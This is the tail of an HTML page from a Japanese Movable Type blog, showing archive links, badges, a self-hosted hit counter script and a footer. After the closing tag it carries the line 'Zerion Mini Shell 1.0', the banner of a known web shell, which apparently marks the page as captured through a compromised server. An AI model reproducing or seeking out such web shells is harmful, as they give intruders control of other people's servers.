    <li><a href="http://rappan.sakura.ne.jp/blog/2008/05/">2008年5月</a> [14]</li>
    
  
    
    <li><a href="http://rappan.sakura.ne.jp/blog/2008/04/">2008年4月</a> [15]</li>
    
  
    
    <li><a href="http://rappan.sakura.ne.jp/blog/2008/03/">2008年3月</a> [1]</li>
    
  
    
    <li><a href="http://rappan.sakura.ne.jp/blog/2006/07/">2006年7月</a> [1]</li>
    
  
    
    <li><a href="http://rappan.sakura.ne.jp/blog/2006/05/">2006年5月</a> [4]</li>
    
  
    
    <li><a href="http://rappan.sakura.ne.jp/blog/2006/04/">2006年4月</a> [13]</li>
    
  
    
    <li><a href="http://rappan.sakura.ne.jp/blog/2006/03/">2006年3月</a> [12]</li>
    
  </ul>
    
  
</dd>

<dd class="syndicate">
  <a href="http://rappan.sakura.ne.jp/blog/rss.xml">Syndicate this site (XML)</a>
</dd>
<dd class="powered">
  <ul>
    <li class="module-powered"><a href="http://www.movabletype.org/"><img src="http://rappan.sakura.ne.jp/mt/mt-static/images/bug-pbmt-white.png" alt="Powered by Movable Type 5.12" width="120" height="75" /></a></li>
    <li><a href="http://www.koikikukan.com/"><img src="http://rappan.sakura.ne.jp/blog/images/koikikukan.gif" alt="小粋空間" width="128" height="22" /></a></li>
  </ul>
</dd>
<dt class="sidetitle">
Counter
</dt>
<dd class="counter">

<script type="text/javascript">
<!--
ref = window.parent.document.referrer;
document.write("<img src='http://rappan.sakura.ne.jp/cgi_hicnt200/img/img01/waku1.gif' border='0'>");
document.write("<img src='http://rappan.sakura.ne.jp/cgi_hicnt200/hicnt.cgi?pid=blog&img=01&len=7");
document.write("&ref=" + document.referrer + "' border='0'><img src='http://rappan.sakura.ne.jp/cgi_hicnt200/img/img01/waku2.gif' border='0'>");
// --> 
</script>
<noscript>
<img src="http://rappan.sakura.ne.jp/cgi_hicnt200/img/img01/waku1.gif" border="0"><img src="http://rappan.sakura.ne.jp/cgi_hicnt200/hicnt.cgi?pid=blog&img=01&len=7" border="0"><img src="http://rappan.sakura.ne.jp/cgi_hicnt200/img/img01/waku2.gif" border="0">
</noscript>

<br>
<img src="http://rappan.sakura.ne.jp/cgi_hicnt200/img/img02/waku1.gif" border="0"><img src="http://rappan.sakura.ne.jp/cgi_hicnt200/img/img02/no.gif" border="0"><img src="http://rappan.sakura.ne.jp/cgi_hicnt200/img/img02/no.gif" border="0"><img src="http://rappan.sakura.ne.jp/cgi_hicnt200/img/img02/t.gif" border="0"><img src="http://rappan.sakura.ne.jp/cgi_hicnt200/hicnt.cgi?pid=blog&img=02&len=4&typ=tday" border="0"><img src="http://rappan.sakura.ne.jp/cgi_hicnt200/img/img02/waku2.gif" border="0">
<br>
<img src="http://rappan.sakura.ne.jp/cgi_hicnt200/img/img03/waku1.gif" border="0"><img src="http://rappan.sakura.ne.jp/cgi_hicnt200/img/img03/no.gif" border="0"><img src="http://rappan.sakura.ne.jp/cgi_hicnt200/img/img03/no.gif" border="0"><img src="http://rappan.sakura.ne.jp/cgi_hicnt200/img/img03/y.gif" border="0"><img src="http://rappan.sakura.ne.jp/cgi_hicnt200/hicnt.cgi?pid=blog&img=03&len=4&typ=yday" border="0"><img src="http://rappan.sakura.ne.jp/cgi_hicnt200/img/img03/waku2.gif" border="0">
<br>
<div class="counter-ad">
<a href="http://rappan.sakura.ne.jp/cgi_hicnt200/hicnt.cgi?mode=login" target=_blank><img src="http://rappan.sakura.ne.jp/cgi_hicnt200/gif/ana.gif" border="0"></a>
</div>
</dd>


  </dl>
</div>


</div>
<div id="foot">
<p id="footer">Copyright &copy; 2006-2012 Rappan, All rights reserved.</p>
</div>

</div>
</body>
</html>

Zerion Mini Shell 1.0